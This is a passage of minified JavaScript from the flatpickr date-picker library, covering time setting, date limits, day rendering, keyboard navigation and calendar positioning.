0!==p.minuteElement&&(o=(parseInt(p.hourElement.value.slice(-2),10)||0)%24,e=(parseInt(p.minuteElement.value,10)||0)%60,t=void 0!==p.secondElement?(parseInt(p.secondElement.value,10)||0)%60:0,void 0!==p.amPM&&(n=o,i=p.amPM.textContent,o=n%12+12*_e(i===p.l10n.amPM[1])),n=void 0!==p.config.minTime||p.config.minDate&&p.minDateHasTime&&p.latestSelectedDateObj&&0===Ee(p.latestSelectedDateObj,p.config.minDate,!0),(void 0!==p.config.maxTime||p.config.maxDate&&p.maxDateHasTime&&p.latestSelectedDateObj&&0===Ee(p.latestSelectedDateObj,p.config.maxDate,!0))&&(i=void 0!==p.config.maxTime?p.config.maxTime:p.config.maxDate,(e=(o=Math.min(o,i.getHours()))===i.getHours()?Math.min(e,i.getMinutes()):e)===i.getMinutes()&&(t=Math.min(t,i.getSeconds()))),n&&(s=void 0!==p.config.minTime?p.config.minTime:p.config.minDate,(e=(o=Math.max(o,s.getHours()))===s.getHours()&&e<s.getMinutes()?s.getMinutes():e)===s.getMinutes()&&(t=Math.max(t,s.getSeconds()))),r(o,e,t))}function i(e){e=e||p.latestSelectedDateObj;e&&r(e.getHours(),e.getMinutes(),e.getSeconds())}function r(e,t,n){void 0!==p.latestSelectedDateObj&&p.latestSelectedDateObj.setHours(e%24,t,n||0,0),p.hourElement&&p.minuteElement&&!p.isMobile&&(p.hourElement.value=pe(p.config.time_24hr?e:(12+e)%12+12*_e(e%12==0)),p.minuteElement.value=pe(t),void 0!==p.amPM&&(p.amPM.textContent=p.l10n.amPM[_e(12<=e)]),void 0!==p.secondElement&&(p.secondElement.value=pe(n)))}function L(e){var t=De(e),t=parseInt(t.value)+(e.delta||0);(1<t/1e3||"Enter"===e.key&&!/[^\d]/.test(t.toString()))&&w(t)}function a(t,n,i,o){return n instanceof Array?n.forEach(function(e){return a(t,e,i,o)}):t instanceof Array?t.forEach(function(e){return a(e,n,i,o)}):(t.addEventListener(n,i,o),void p._handlers.push({remove:function(){return t.removeEventListener(n,i)}}))}function o(){k("onChange")}function s(t,e){var t=void 0!==t?p.parseDate(t):p.latestSelectedDateObj||(p.config.minDate&&p.config.minDate>p.now?p.config.minDate:p.config.maxDate&&p.config.maxDate<p.now?p.config.maxDate:p.now),n=p.currentYear,i=p.currentMonth;try{void 0!==t&&(p.currentYear=t.getFullYear(),p.currentMonth=t.getMonth())}catch(e){e.message="Invalid date supplied: "+t,p.config.errorHandler(e)}e&&p.currentYear!==n&&(k("onYearChange"),v()),!e||p.currentYear===n&&p.currentMonth===i||k("onMonthChange"),p.redraw()}function R(e){var t=De(e);~t.className.indexOf("arrow")&&l(e,t.classList.contains("arrowUp")?1:-1)}function l(e,t,n){e=e&&De(e),n=n||e&&e.parentNode&&e.parentNode.firstChild,e=ie("increment");e.delta=t,n&&n.dispatchEvent(e)}function d(e,t,n,i){var o=D(t,!0),s=ye("span","flatpickr-day "+e,t.getDate().toString());return s.dateObj=t,s.$i=i,s.setAttribute("aria-label",p.formatDate(t,p.config.ariaDateFormat)),-1===e.indexOf("hidden")&&0===Ee(t,p.now)&&((p.todayDateElem=s).classList.add("today"),s.setAttribute("aria-current","date")),o?(s.tabIndex=-1,oe(t)&&(s.classList.add("selected"),p.selectedDateElem=s,"range"===p.config.mode&&(ve(s,"startRange",p.selectedDates[0]&&0===Ee(t,p.selectedDates[0],!0)),ve(s,"endRange",p.selectedDates[1]&&0===Ee(t,p.selectedDates[1],!0)),"nextMonthDay"===e&&s.classList.add("inRange")))):s.classList.add("flatpickr-disabled"),"range"===p.config.mode&&(i=t,"range"!==p.config.mode||p.selectedDates.length<2||!(0<=Ee(i,p.selectedDates[0])&&Ee(i,p.selectedDates[1])<=0)||oe(t)||s.classList.add("inRange")),p.weekNumbers&&1===p.config.showMonths&&"prevMonthDay"!==e&&n%7==1&&p.weekNumbers.insertAdjacentHTML("beforeend","<span class='flatpickr-day'>"+p.config.getWeek(t)+"</span>"),k("onDayCreate",s),s}function _(e){e.focus(),"range"===p.config.mode&&K(e)}function m(e){for(var t=0<e?0:p.config.showMonths-1,n=0<e?p.config.showMonths:-1,i=t;i!=n;i+=e)for(var o=p.daysContainer.children[i],s=0<e?0:o.children.length-1,r=0<e?o.children.length:-1,a=s;a!=r;a+=e){var l=o.children[a];if(-1===l.className.indexOf("hidden")&&D(l.dateObj))return l}}function g(e,t){var n=C(document.activeElement||document.body),e=void 0!==e?e:n?document.activeElement:void 0!==p.selectedDateElem&&C(p.selectedDateElem)?p.selectedDateElem:void 0!==p.todayDateElem&&C(p.todayDateElem)?p.todayDateElem:m(0<t?1:-1);if(void 0===e)p._input.focus();else if(n){for(var i=e,o=t,s=-1===i.className.indexOf("Month")?i.dateObj.getMonth():p.currentMonth,r=0<o?p.config.showMonths:-1,a=0<o?1:-1,l=s-p.currentMonth;l!=r;l+=a)for(var c=p.daysContainer.children[l],h=s-p.currentMonth===l?i.$i+o:o<0?c.children.length-1:0,u=c.children.length,d=h;0<=d&&d<u&&d!=(0<o?u:-1);d+=a){var f=c.children[d];if(-1===f.className.indexOf("hidden")&&D(f.dateObj)&&Math.abs(i.$i-d)>=Math.abs(o))return void _(f)}p.changeMonth(a),g(m(a),0)}else _(e)}function f(){if(void 0!==p.daysContainer){be(p.daysContainer),p.weekNumbers&&be(p.weekNumbers);for(var e=document.createDocumentFragment(),t=0;t<p.config.showMonths;t++){var n=new Date(p.currentYear,p.currentMonth,1);n.setMonth(p.currentMonth+t),e.appendChild(function(e,t){for(var n=(new Date(e,t,1).getDay()-p.l10n.firstDayOfWeek+7)%7,i=p.utils.getDaysInMonth((t-1+12)%12,e),o=p.utils.getDaysInMonth(t,e),s=window.document.createDocumentFragment(),r=1<p.config.showMonths,a=r?"prevMonthDay hidden":"prevMonthDay",l=r?"nextMonthDay hidden":"nextMonthDay",c=i+1-n,h=0;c<=i;c++,h++)s.appendChild(d(a,new Date(e,t-1,c),c,h));for(c=1;c<=o;c++,h++)s.appendChild(d("",new Date(e,t,c),c,h));for(var u=o+1;u<=42-n&&(1===p.config.showMonths||h%7!=0);u++,h++)s.appendChild(d(l,new Date(e,t+1,u%o),u,h));return(r=ye("div","dayContainer")).appendChild(s),r}(n.getFullYear(),n.getMonth()))}p.daysContainer.appendChild(e),p.days=p.daysContainer.firstChild,"range"===p.config.mode&&1===p.selectedDates.length&&K()}}function v(){if(!(1<p.config.showMonths||"dropdown"!==p.config.monthSelectorType)){p.monthsDropdownContainer.tabIndex=-1,p.monthsDropdownContainer.innerHTML="";for(var e,t=0;t<12;t++)e=t,void 0!==p.config.minDate&&p.currentYear===p.config.minDate.getFullYear()&&e<p.config.minDate.getMonth()||void 0!==p.config.maxDate&&p.currentYear===p.config.maxDate.getFullYear()&&e>p.config.maxDate.getMonth()||((e=ye("option","flatpickr-monthDropdown-month")).value=new Date(p.currentYear,t).getMonth().toString(),e.textContent=Ce(t,p.config.shorthandCurrentMonth,p.l10n),e.tabIndex=-1,p.currentMonth===t&&(e.selected=!0),p.monthsDropdownContainer.appendChild(e))}}function q(){be(p.monthNav),p.monthNav.appendChild(p.prevMonthNav),p.config.showMonths&&(p.yearElements=[],p.monthElements=[]);for(var e,t,n,i,o,s=p.config.showMonths;s--;){o=i=r=n=t=e=void 0,e=ye("div","flatpickr-month"),t=window.document.createDocumentFragment(),n=1<p.config.showMonths||"static"===p.config.monthSelectorType?ye("span","cur-month"):(p.monthsDropdownContainer=ye("select","flatpickr-monthDropdown-months"),p.monthsDropdownContainer.setAttribute("aria-label",p.l10n.monthAriaLabel),a(p.monthsDropdownContainer,"change",function(e){e=De(e),e=parseInt(e.value,10);p.changeMonth(e-p.currentMonth),k("onMonthChange")}),v(),p.monthsDropdownContainer),r=we("cur-year",{tabindex:"-1"}),(i=r.getElementsByTagName("input")[0]).setAttribute("aria-label",p.l10n.yearAriaLabel),p.config.minDate&&i.setAttribute("min",p.config.minDate.getFullYear().toString()),p.config.maxDate&&(i.setAttribute("max",p.config.maxDate.getFullYear().toString()),i.disabled=!!p.config.minDate&&p.config.minDate.getFullYear()===p.config.maxDate.getFullYear()),(o=ye("div","flatpickr-current-month")).appendChild(n),o.appendChild(r),t.appendChild(o),e.appendChild(t);var r={container:e,yearElement:i,monthElement:n};p.yearElements.push(r.yearElement),p.monthElements.push(r.monthElement),p.monthNav.appendChild(r.container)}p.monthNav.appendChild(p.nextMonthNav)}function W(){p.weekdayContainer?be(p.weekdayContainer):p.weekdayContainer=ye("div","flatpickr-weekdays");for(var e=p.config.showMonths;e--;){var t=ye("div","flatpickr-weekdaycontainer");p.weekdayContainer.appendChild(t)}return B(),p.weekdayContainer}function B(){if(p.weekdayContainer){var e=p.l10n.firstDayOfWeek,t=he(p.l10n.weekdays.shorthand);0<e&&e<t.length&&(t=he(t.splice(e,t.length),t.splice(0,e)));for(var n=p.config.showMonths;n--;)p.weekdayContainer.children[n].innerHTML="\n      <span class='flatpickr-weekday'>\n        "+t.join("</span><span class='flatpickr-weekday'>")+"\n      </span>\n      "}}function y(e,t){t=(t=void 0===t?!0:t)?e:e-p.currentMonth;t<0&&!0===p._hidePrevMonthArrow||0<t&&!0===p._hideNextMonthArrow||(p.currentMonth+=t,(p.currentMonth<0||11<p.currentMonth)&&(p.currentYear+=11<p.currentMonth?1:-1,p.currentMonth=(p.currentMonth+12)%12,k("onYearChange"),v()),f(),k("onMonthChange"),E())}function b(e){return!(!p.config.appendTo||!p.config.appendTo.contains(e))||p.calendarContainer.contains(e)}function z(e){var t,n,i;p.isOpen&&!p.config.inline&&(i=b(t=De(e)),n=t===p.input||t===p.altInput||p.element.contains(t)||e.path&&e.path.indexOf&&(~e.path.indexOf(p.input)||~e.path.indexOf(p.altInput)),n="blur"===e.type?n&&e.relatedTarget&&!b(e.relatedTarget):!n&&!i&&!b(e.relatedTarget),i=!p.config.ignoredFocusElements.some(function(e){return e.contains(t)}),n&&i&&(void 0!==p.timeContainer&&void 0!==p.minuteElement&&void 0!==p.hourElement&&""!==p.input.value&&void 0!==p.input.value&&h(),p.close(),p.config&&"range"===p.config.mode&&1===p.selectedDates.length&&(p.clear(!1),p.redraw())))}function w(e){var t;!e||p.config.minDate&&e<p.config.minDate.getFullYear()||p.config.maxDate&&e>p.config.maxDate.getFullYear()||(t=p.currentYear!==e,p.currentYear=e||p.currentYear,p.config.maxDate&&p.currentYear===p.config.maxDate.getFullYear()?p.currentMonth=Math.min(p.config.maxDate.getMonth(),p.currentMonth):p.config.minDate&&p.currentYear===p.config.minDate.getFullYear()&&(p.currentMonth=Math.max(p.config.minDate.getMonth(),p.currentMonth)),t&&(p.redraw(),k("onYearChange"),v()))}function D(e,t){var n=p.parseDate(e,void 0,t=void 0===t?!0:t);if(p.config.minDate&&n&&Ee(n,p.config.minDate,void 0!==t?t:!p.minDateHasTime)<0||p.config.maxDate&&n&&0<Ee(n,p.config.maxDate,void 0!==t?t:!p.maxDateHasTime))return!1;if(!p.config.enable&&0===p.config.disable.length)return!0;if(void 0===n)return!1;for(var i,o=!!p.config.enable,s=null!=(e=p.config.enable)?e:p.config.disable,r=0,a=void 0;r<s.length;r++){if("function"==typeof(a=s[r])&&a(n))return o;if(a instanceof Date&&void 0!==n&&a.getTime()===n.getTime())return o;if("string"==typeof a)return(i=p.parseDate(a,void 0,!0))&&i.getTime()===n.getTime()?o:!o;if("object"==typeof a&&void 0!==n&&a.from&&a.to&&n.getTime()>=a.from.getTime()&&n.getTime()<=a.to.getTime())return o}return!o}function C(e){return void 0!==p.daysContainer&&(-1===e.className.indexOf("hidden")&&-1===e.className.indexOf("flatpickr-disabled")&&p.daysContainer.contains(e))}function U(e){e.target===p._input&&(0<p.selectedDates.length||0<p._input.value.length)&&(!e.relatedTarget||!b(e.relatedTarget))&&p.setDate(p._input.value,!0,e.target===p.altInput?p.config.altFormat:p.config.dateFormat)}function J(e){var t=De(e),n=p.config.wrap?c.contains(t):t===p._input,i=p.config.allowInput,o=p.isOpen&&(!i||!n),s=p.config.inline&&n&&!i;if(13===e.keyCode&&n){if(i)return p.setDate(p._input.value,!0,t===p.altInput?p.config.altFormat:p.config.dateFormat),t.blur();p.open()}else if(b(t)||o||s){var r,a=!!p.timeContainer&&p.timeContainer.contains(t);switch(e.keyCode){case 13:a?(e.preventDefault(),h(),Z()):ee(e);break;case 27:e.preventDefault(),Z();break;case 8:case 46:n&&!p.config.allowInput&&(e.preventDefault(),p.clear());break;case 37:case 39:a||n?p.hourElement&&p.hourElement.focus():(e.preventDefault(),void 0!==p.daysContainer&&(!1===i||document.activeElement&&C(document.activeElement))&&(l=39===e.keyCode?1:-1,e.ctrlKey?(e.stopPropagation(),y(l),g(m(1),0)):g(void 0,l)));break;case 38:case 40:e.preventDefault();var l=40===e.keyCode?1:-1;p.daysContainer&&void 0!==t.$i||t===p.input||t===p.altInput?e.ctrlKey?(e.stopPropagation(),w(p.currentYear-l),g(m(1),0)):a||g(void 0,7*l):t===p.currentYearElement?w(p.currentYear-l):p.config.enableTime&&(!a&&p.hourElement&&p.hourElement.focus(),h(e),p._debouncedChange());break;case 9:a?-1!==(r=(l=[p.hourElement,p.minuteElement,p.secondElement,p.amPM].concat(p.pluginElements).filter(function(e){return e})).indexOf(t))&&(l=l[r+(e.shiftKey?-1:1)],e.preventDefault(),(l||p._input).focus()):!p.config.noCalendar&&p.daysContainer&&p.daysContainer.contains(t)&&e.shiftKey&&(e.preventDefault(),p._input.focus())}}if(void 0!==p.amPM&&t===p.amPM)switch(e.key){case p.l10n.amPM[0].charAt(0):case p.l10n.amPM[0].charAt(0).toLowerCase():p.amPM.textContent=p.l10n.amPM[0],u(),T();break;case p.l10n.amPM[1].charAt(0):case p.l10n.amPM[1].charAt(0).toLowerCase():p.amPM.textContent=p.l10n.amPM[1],u(),T()}(n||b(t))&&k("onKeyDown",e)}function K(i){if(1===p.selectedDates.length&&(!i||i.classList.contains("flatpickr-day")&&!i.classList.contains("flatpickr-disabled"))){for(var o=(i||p.days.firstElementChild).dateObj.getTime(),s=p.parseDate(p.selectedDates[0],void 0,!0).getTime(),e=Math.min(o,p.selectedDates[0].getTime()),t=Math.max(o,p.selectedDates[0].getTime()),r=!1,a=0,l=0,n=e;n<t;n+=Oe.DAY)D(new Date(n),!0)||(r=r||e<n&&n<t,n<s&&(!a||a<n)?a=n:s<n&&(!l||n<l)&&(l=n));for(var c=0;c<p.config.showMonths;c++)for(var h=p.daysContainer.children[c],u=0,d=h.children.length;u<d;u++)!function(e){var t=h.children[e],e=t.dateObj.getTime(),n=0<a&&e<a||0<l&&l<e;n?(t.classList.add("notAllowed"),["inRange","startRange","endRange"].forEach(function(e){t.classList.remove(e)})):r&&!n||(["startRange","inRange","endRange","notAllowed"].forEach(function(e){t.classList.remove(e)}),void 0!==i&&(i.classList.add(o<=p.selectedDates[0].getTime()?"startRange":"endRange"),s<o&&e===s?t.classList.add("startRange"):o<s&&e===s&&t.classList.add("endRange"),a<=e&&(0===l||e<=l)&&Te(e,s,o)&&t.classList.add("inRange")))}(u)}}function $(){!p.isOpen||p.config.static||p.config.inline||x()}function Q(n){return function(e){var e=p.config["_"+n+"Date"]=p.parseDate(e,p.config.dateFormat),t=p.config["_"+("min"===n?"max":"min")+"Date"];void 0!==e&&(p["min"===n?"minDateHasTime":"maxDateHasTime"]=0<e.getHours()||0<e.getMinutes()||0<e.getSeconds()),p.selectedDates&&(p.selectedDates=p.selectedDates.filter(function(e){return D(e)}),p.selectedDates.length||"min"!==n||i(e),T()),p.daysContainer&&(X(),void 0!==e?p.currentYearElement[n]=e.getFullYear().toString():p.currentYearElement.removeAttribute(n),p.currentYearElement.disabled=!!t&&void 0!==e&&t.getFullYear()===e.getFullYear())}}function V(){return p.config.wrap?c.querySelector("[data-input]"):c}function G(){"object"!=typeof p.config.locale&&void 0===Ie.l10ns[p.config.locale]&&p.config.errorHandler(new Error("flatpickr: invalid locale "+p.config.locale)),p.l10n=ce(ce({},Ie.l10ns.default),"object"==typeof p.config.locale?p.config.locale:"default"!==p.config.locale?Ie.l10ns[p.config.locale]:void 0),xe.K="("+p.l10n.amPM[0]+"|"+p.l10n.amPM[1]+"|"+p.l10n.amPM[0].toLowerCase()+"|"+p.l10n.amPM[1].toLowerCase()+")",void 0===ce(ce({},P),JSON.parse(JSON.stringify(c.dataset||{}))).time_24hr&&void 0===Ie.defaultConfig.time_24hr&&(p.config.time_24hr=p.l10n.time_24hr),p.formatDate=Me(p),p.parseDate=ke({config:p.config,l10n:p.l10n})}function x(e){var t,n,i,o,s,r;"function"==typeof p.config.position?p.config.position(p,e):void 0!==p.calendarContainer&&(k("onPreCalendarPosition"),e=e||p._positionElement,n=Array.prototype.reduce.call(p.calendarContainer.children,function(e,t){return e+t.offsetHeight},0),r=p.calendarContainer.offsetWidth,s=(i=p.config.position.split(" "))[0],i=1<i.length?i[1]:null,t=e.getBoundingClientRect(),o=window.innerHeight-t.bottom,s="above"===s||"below"!==s&&o<n&&t.top>n,o=window.pageYOffset+t.top+(s?-n-2:e.offsetHeight+2),ve(p.calendarContainer,"arrowTop",!s),ve(p.calendarContainer,"arrowBottom",s),p.config.inline||(n=window.pageXOffset+t.left,s=e=!1,"center"===i?(n-=(r-t.width)/2,e=!0):"right"===i&&(n-=r-t.width,s=!0),ve(p.calendarContainer,"arrowLeft",!e&&!s),ve(p.calendarContainer,"arrowCenter",e),ve(p.calendarContainer,"arrowRight",s),i=window.document.body.offsetWidth-(window.pageXOffset+t.right),e=n+r>window.document.body.offsetWidth,s=i+r>window.document.body.offsetWidth,ve(p.calendarContainer,"rightMost",e),p.config.static||(p.calendarContainer.style.top=o+"px",e?s?void 0!==(o=function(){for(var e=null,t=0;t<document.styleSheets.length;t++){var n=document.styleSheets[t];try{n.cssRules}catch(e){continue}e=n;break}return null!=e?e:function(){var e=document.createElement("style");return document.head.appendChild(e),e.sheet}()}())&&(e=window.document.body.offsetWidth,s=Math.max(0,e/2-r/2),e=o.cssRules.length,r="{left:"+t.left+"px;right:auto;}",ve(p.calendarContainer,"rightMost",!1),ve(p.calendarContainer,"centerMost",!0),o.insertRule(".flatpickr-calendar.centerMost:before,.flatpickr-calendar.centerMost:after"+r,e),p.calendarContainer.style.left=s+"px",p.calendarContainer.style.right="auto"):(p.calendarContainer.style.left="auto",p.calendarContainer.style.right=i+"px"):(p.calendarContainer.style.left=n+"px",p.calendarContainer.style.right="auto"))))}function X(){p.config.noCalendar||p.isMobile||(v(),E(),f())}function Z(){p._input.focus(),-1!==window.navigator.userAgent.indexOf("MSIE")||void 0!==navigator.msMaxTouchPoints?setTimeout(p.close,0):p.close()}function ee(e){e.preventDefault(),e.stopPropagation();var t,n,i,e=function e(t,n){return n(t)?t:t.parentNode?e(t.parentNode,n):void 0}(De(e),function(e){return e.classList&&e.classList.contains("flatpickr-day")&&!e.classList.contains("flatpickr-disabled")&&!e.classList.contains("notAllowed")});void 0!==e&&(e=e,t=((n=p.latestSelectedDateObj=new Date(e.dateObj.getTime())).getMonth()<p.currentMonth||n.getMonth()>p.currentMonth+p.config.showMonths-1)&&"range"!==p.config.mode,p.selectedDateElem=e,"single"===p.config.mode?p.selectedDates=[n]:"multiple"===p.config.mode?(i=oe(n))?p.selectedDates.splice(parseInt(i),1):p.selectedDates.push(n):"range"===p.config.mode&&(2===p.selectedDates.length&&p.clear(!1,!1),p.latestSelectedDateObj=n,p.selectedDates.push(n),0!==Ee(n,p.selectedDates[0],!0)&&p.selectedDates.sort(function(e,t){return e.getTime()-t.getTime()})),u(),t&&(i=p.currentYear!==n.getFullYear(),p.currentYear=n.getFullYear(),p.currentMonth=n.getMonth(),i&&(k("onYearChange"),v()),k("onMonthChange")),E(),f(),T(),t||"range"===p.config.mode||1!==p.config.showMonths?void 0!==p.selectedDateElem&&void 0===p.hourElement&&p.selectedDateElem&&p.selectedDateElem.focus():_(e),void 0!==p.hourElement&&void 0!==p.hourElement&&p.hourElement.focus(),p.config.closeOnSelect&&(n="single"===p.config.mode&&!p.config.enableTime,i="range"===p.config.mode&&2===p.selectedDates.length&&!p.config.enableTime,(n||i)&&Z()),o())}p.parseDate=ke({config:p.config,l10n:p.l10n}),p._handlers=[],p.pluginElements=[],p.loadedPlugins=[],p._bind=a,p._setHoursFromDate=i,p._positionCalendar=x,p.changeMonth=y,p.changeYear=w,p.clear=function(e,t){void 0===e&&(e=!0);void 0===t&&(t=!0);p.input.value="",void 0!==p.altInput&&(p.altInput.value="");void 0!==p.mobileInput&&(p.mobileInput.value="");p.selectedDates=[],!(p.latestSelectedDateObj=void 0)===t&&(p.currentYear=p._initialDate.getFullYear(),p.currentMonth=p._initialDate.getMonth());{var n,i;!0===p.config.enableTime&&(t=Se(p.config),n=t.hours,i=t.minutes,t=t.seconds,r(n,i,t))}p.redraw(),e&&k("onChange")},p.close=function(){p.isOpen=!1,p.isMobile||(void 0!==p.calendarContainer&&p.calendarContainer.classList.remove("open"),void 0!==p._input&&p._input.classList.remove("active"));k("onClose")},p._createElement=ye,p.destroy=function(){void 0!==p.config&&k("onDestroy");for(var e=p._handlers.length;e--;)p._handlers[e].remove();if(p._handlers=[],p.mobileInput)p.mobileInput.parentNode&&p.mobileInput.parentNode.removeChild(p.mobileInput),p.mobileInput=void 0;else if(p.calendarContainer&&p.calendarContainer.parentNode)if(p.config.static&&p.calendarContainer.parentNode){var t=p.calendarContainer.parentNode;if(t.lastChild&&t.removeChild(t.lastChild),t.parentNode){for(;t.firstChild;)t.parentNode.insertBefore(t.firstChild,t);t.parentNode.removeChild(t)}}else p.calendarContainer.parentNode.removeChild(p.calendarContainer);p.altInput&&(p.input.type="text",p.altInput.parentNode&&p.altInput.parentNode.removeChild(p.altInput),delete p.altInput);p.input&&(p.input.type=p.input._type,p.input.classList.remove("flatpickr-input"),p.input.removeAttribute("readonly"));["_showTimeInput","latestSelectedDateObj","_hideNextMonthArrow","_hidePrevMonthArrow","__hideNextMonthArrow","__hidePrevMonthArrow","isMobile","isOpen","selectedDateElem","minDateHasTime","maxDateHasTime","days","daysContainer","_input","_positionElement","innerContainer","rContainer","monthNav","todayDateElem","calendarContainer","weekdayContainer","prevMonthNav","nextMonthNav","monthsDropdownContainer","currentMonthElement","currentYearElement","navigationCurrentMonth","selectedDateElem","config"].forEach(function(e){try{delete p[e]}catch(e){}})},p.isEnabled=D,p.jumpToDate=s,p.open=function(e,t){void 0===t&&(t=p._positionElement);var n;!0===p.isMobile?(e&&(e.preventDefault(),(n=De(e))&&n.blur()),void 0!==p.mobileInput&&(p.mobileInput.focus(),p.mobileInput.click()),k("onOpen")):p._input.disabled||p.config.inline||(n=p.isOpen,p.isOpen=!0,n||(p.calendarContainer.classList.add("open"),p._input.classList.add("active"),k("onOpen"),x(t)),!0!==p.config.enableTime||!0!==p.config.noCalendar||!1!==p.config.allowInput||void 0!==e&&p.timeContainer.contains(e.relatedTarget)||setTimeout(function(){return p.hourElement.select()},50))},p.redraw=X,p.set=function(e,t){if(null!==e&&"object"==typeof e)for(var n in Object.assign(p.config,e),e)void 0!==M[n]&&M[n].forEach(function(e){return e()});else p.config[e]=t,void 0!==M[e]?M[e].forEach(function(e){return e()}):-1<ue.indexOf(e)&&(p.config[e]=ge(t));p.redraw(),T(!0)},p.setDate=function(e,t,n){void 0===t&&(t=!1);void 0===n&&(n=p.config.dateFormat);if(0!==e&&!e||e instanceof Array&&0===e.length)return p.clear(t);te(e,n),p.latestSelectedDateObj=p.selectedDates[p.selectedDates.length-1],p.redraw(),s(void 0,t),i(),0===p.selectedDates.length&&p.clear(!1);T(t),t&&k("onChange")},p.toggle=function(e){if(!0===p.isOpen)return p.close();p.open(e)};var M={locale:[G,B],showMonths:[q,H,W],minDate:[s],maxDate:[s],clickOpens:[function(){!0===p.config.clickOpens?(a(p._input,"focus",p.open),a(p._input,"click",p.open)):(p._input.removeEventListener("focus",p.open),p._input.removeEventListener("click",p.open))}]};function te(e,t){var n=[];if(e instanceof Array)n=e.map(function(e){return p.parseDate(e,t)});else if(e instanceof Date||"number"==typeof e)n=[p.parseDate(e,t)];else if("string"==typeof e)switch(p.config.mode){case"single":case"time":n=[p.parseDate(e,t)];break;case"multiple":n=e.split(p.config.conjunction).map(function(e){return p.parseDate(e,t)});break;case"range":n=e.split(p.l10n.rangeSeparator).map(function(e){return p.parseDate(e,t)})}else p.config.errorHandler(new Error("Invalid date supplied: "+JSON.stringify(e)));p.selectedDates=p.config.allowInvalidPreload?n:n.filter(function(e){return e instanceof Date&&D(e,!1)}),"range"===p.config.mode&&p.selectedDates.sort(function(e,t){return e.getTime()-t.getTime()})}function ne(e){return e.slice().map(function(e){return"string"==typeof e||"number"==typeof e||e instanceof Date?p.parseDate(e,void 0,!0):e&&"object"==typeof e&&e.from&&e.to?{from:p.parseDate(e.from,void 0),to:p.parseDate(e.to,void 0)}:e}).filter(function(e){return e})}function k(e,t){if(void 0!==p.config){var n=p.config[e];if(void 0!==n&&0<n.length)for(var i=0;n[i]&&i<n.length;i++)n[i](p.selectedDates,p.input.value,p,t);"onChange"===e&&(p.input.dispatchEvent(ie("change")),p.input.dispatchEvent(ie("input")))}}function ie(e){var t=document.createEvent("Event");return t.initEvent(e,!0,!0),t}function oe(e){for(var t=0;t<p.selectedDates.length;t++)if(0===Ee(p.selectedDates[t],e))return""+t;return!1}function E(){p.config.noCalendar||p.isMobile||!p.monthNav||(p.yearElements.forEach(function(e,t){var n=new Date(p.currentYear,p.currentMonth,1);n.setMonth(p.currentMonth+t),1<p.config.showMonths||"static"===p.config.monthSelectorType?p.monthElements[t].textContent=Ce(n.getMonth(),p.config.shorthandCurrentMonth,p.l10n)+" ":p.monthsDropdownContainer.value=n.getMonth().toString(),e.value=n.getFullYear().toString()}),p._hidePrevMonthArrow=void 0!==p.config.minDate&&(p.currentYear===p.config.minDate.getFullYear()?p.currentMonth<=p.config.minDate.getMonth():p.currentYear<p.config.minDate.getFullYear()),p._hideNextMonthArrow=void 0!==p.config.maxDate&&(p.currentYear===p.config.maxDate.getFullYear()?p.currentMonth+1>p.config.maxDate.getMonth():p.currentYear>p.config.maxDate.getFullYear()))}function se(t){return p.selectedDates.map(function(e){return p.formatDate(e,t)}).filter(function(e,t,n){return"range"!==p.config.mode||p.config.enableTime||n.indexOf(e)===t}).join("range"!==p.config.mode?p.config.conjunction:p.l10n.rangeSeparator)}function T(e){void 0===e&&(e=!0),void 0!==p.mobileInput&&p.mobileFormatStr&&(p.mobileInput.value=void 0!==p.latestSelectedDateObj?p.formatDate(p.latestSelectedDateObj,p.mobileFormatStr):""),p.input.value=se(p.config.dateFormat),void 0!==p.altInput&&(p.altInput.value=se(p.config.altFormat)),!1!==e&&k("onValueUpdate")}function re(e){var e=De(e),t=p.prevMonthNav.contains(e),n=p.nextMonthNav.contains(e);t||n?y(t?-1:1):0<=p.yearElements.indexOf(e)?e.select():e.classList.contains("arrowUp")?p.changeYear(p.currentYear+1):e.classList.contains("arrowDown")&&p.changeYear(p.currentYear-1)}p.element=p.input=c,p.isOpen=!1;var e=["wrap","weekNumbers","allowInput","allowInvalidPreload","clickOpens","time_24hr","enableTime","noCalendar","altInput","shorthandCurrentMonth","inline","static","enableSeconds","disableMobile"],t=ce(ce({},JSON.parse(JSON.stringify(c.dataset||{}))),P),n={},O=(p.config.parseDate=t.parseDate,p.config.formatDate=t.formatDate,Object.defineProperty(p.config,"enable",{get:function(){return p.config._enable},set:function(e){p.config._enable=ne(e)}}),Object.defineProperty(p.config,"disable",{get:function(){return p.config._disable},set:function(e){p.config._disable=ne(e)}}),"time"===t.mode);function ae(t){return function(e){p.config["min"===t?"_minTime":"_maxTime"]=p.parseDate(e,"H:i:S")}}t.dateFormat||!t.enableTime&&!O||(N=Ie.defaultConfig.dateFormat||de.dateFormat,n.dateFormat=t.noCalendar||O?"H:i"+(t.enableSeconds?":S":""):N+" H:i"+(t.enableSeconds?":S":"")),t.altInput&&(t.enableTime||O)&&!t.altFormat&&(N=Ie.defaultConfig.altFormat||de.altFormat,n.altFormat=t.noCalendar||O?"h:i"+(t.enableSeconds?":S K":" K"):N+(" h:i"+(t.enableSeconds?":S":""))+" K"),Object.defineProperty(p.config,"minDate",{get:function(){return p.config._minDate},set:Q("min")}),Object.defineProperty(p.config,"maxDate",{get:function(){return p.config._maxDate},set:Q("max")}),Object.defineProperty(p.config,"minTime",{get:function(){return p.config._minTime},set:ae("min")}),Object.defineProperty(p.config,"maxTime",{get:function(){return p.config._maxTime},set:ae("max")}),"time"===t.mode&&(p.config.noCalendar=!0,p.config.enableTime=!0),Object.assign(p.config,n,t);for(var S=0;S<e.length;S++)p.config[e[S]]=!0===p.config[e[S]]||"true"===p.config[e[S]];for(ue.filter(function(e){return void 0!==p.config[e]}).forEach(function(e){p.config[e]=ge(p.config[e]||[]).map(Y)}),p.isMobile=!p.config.disableMobile&&!p.config.inline&&"single"===p.config.mode&&!p.config.disable.length&&!p.config.enable&&!p.config.weekNumbers&&/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent),S=0;S<p.config.plugins.length;S++){var A,le=p.config.plugins[S](p)||{};for(A in le)-1<ue.indexOf(A)?p.config[A]=ge(le[A]).map(Y).concat(p.config[A]):void 0===t[A]&&(p.config[A]=le[A])}if(t.altInputClass||(p.config.altInputClass=V().className+" 